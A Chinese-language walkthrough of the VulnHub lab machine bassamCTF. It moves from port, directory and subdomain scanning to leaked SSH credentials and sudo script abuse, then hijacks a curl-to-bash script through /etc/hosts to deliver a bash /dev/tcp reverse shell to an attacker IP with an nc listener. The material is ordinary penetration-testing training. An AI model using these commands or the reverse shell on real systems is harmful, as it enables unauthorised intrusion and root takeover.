目录
下载地址:bassamCTF: 1 ~ VulnHub
信息收集
靶机窗口

确认攻击机和靶机再同一网段
靶机mac地址 :00:0C:29:83:5A:EF

扫描当前网段存活的主机
sudo arp-scan -l

靶机的IP: 10.4.7.129
再来看下都开放了那些端口
sudo nmap -A -p- -sS -sC -T4 10.4.7.129

端口信息:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
接着去看看网页有什么有用信息
网页信息:
10.4.7.129

页面什么也没有,但在他的源代码里发现了一个域名bassam.ctf
访问一下
http://10.4.7.129/bassam.ctf

bassam.ctf没有绑定ip
回到终端到给这个域名解析一下
sudo vim /etc/hosts

再去访问下网页
http://bassam.ctf/

这也没有什么信息
扫下网站的目录看看
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -u http://bassam.ctf/

有个html的文件访问看看

确实没有其他信息了,一般网站都会有子域名,域名不同访问另外的网页,有独立不同的内容,但不是一个新的域名
扫下他的子域名
wfuzz -H 'HOST: FUZZ.bassam.ctf' -u http://10.4.7.129 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 422,21 -c

http访问状态为200看到了welcome有响应
welcome.bassam.ctf

这边显示找不到网页
应该也是要解析这个welcome
sudo vim /etc/hosts

重新访问
http://welcome.bassam.ctf/

好吧
扫描目录
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -u http://welcome.bassam.ctf/ | grep "200"

index.php,index.html,config.php
都打开看看


访问index.php的时候看到了文件下载,把扫到的文件下载下来看看


在这里发现了一个用户名和密码

这应该是他网页的源代码
权限提升
然后我们试着登录一下这个test用户
ssh test@10.4.7.129 密码test123

这边用python的交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
我们直接一件三连
whoami(我是谁)
pwd(我在那)
sudo -l(能不能执行sudo)

无法运行sudo
看下他的根目录都有那些文件
ls -la /

看到有一个PassProgram(通过程序)
cd 进去看看
cd /PassProgram

这里面是decoder (解码器) encoder(编码器)
先不管
回到/home/test看一下该用户最近访问了那些文件
ls -a

看下bash_history
cat .bash_history

发现他看了一个MySecretPassword(我的秘密密码)
找一下这个文件在那个路径
locate MySecretPassword


文件是空的,看下这个文件的类型
file MySecretPassword

这是一个纯文本文件,应该是被加密过的
可能是在PassProgram进行编码加密的,试着用里面的decoder解码
cd 到 PassProgram
./decoder /var/www/ctf/MySecretPassword

成功解码,发现了kira的密码
登录一下
ssh kira@10.4.7.129
看下kira的权限

看一下这个test.sh脚本

这边的意思是可以用bassam的身份执行test.sh的脚本可以获得bassam的bash
执行一下
sudo -u bassam ./test.sh bash (执行脚本的之时给脚本传入变量执行bash解释器)
再看一下bassam目录下的文件

down.sh是通过curl(请求web服务的命令工具)访问并通过bash执行script.sh
这里可以通过将kali的ip添加到靶机的/etc/hosts中
再到kali中搭建一个http服务器,并创建同名的script.sh,在其中写入我们要执行的命令
再使用获取到的bassam用户使用sudo执行
将域名mywebsite.test和攻击机kali的ip做解析

再到kali创建一个名为script.sh的文件
将whoami写到script.sh文件

再打开一个终端开启http服务
python3 -m http.server 80

回到bassam窗口执行down.sh
sudo /home/bassam/down.sh

命令执行成功
接着将kali的script.sh脚本写入一句话木马
echo 'bash -i >& /dev/tcp/10.4.7.138/12345 0>&1' > script.sh

在kali开启监听
nc -lnvp 12345

重新执行down.sh

回到kali终端看看监听到的内容


成功获得root权限

2576

被折叠的 条评论
为什么被折叠?



